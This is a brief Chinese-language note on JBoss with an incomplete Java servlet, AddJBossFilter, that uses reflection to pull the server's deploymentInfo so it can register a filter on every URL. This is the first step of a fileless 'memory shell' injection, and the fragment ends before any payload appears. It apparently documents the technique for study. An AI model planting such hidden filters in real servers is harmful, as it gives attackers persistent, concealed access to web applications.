jboss
除了原先servlet的多了io包
public class AddJBossFilter extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String filterName = "su18JbossFilter";
String urlPattern = "/*";
ServletContext context = req.getServletContext();
Field f = context.getClass().getDeclaredField("deploymentInfo");
f.setAccessible(true);
DeploymentInfo deploymentInfo = (DeploymentInfo) f.get(context);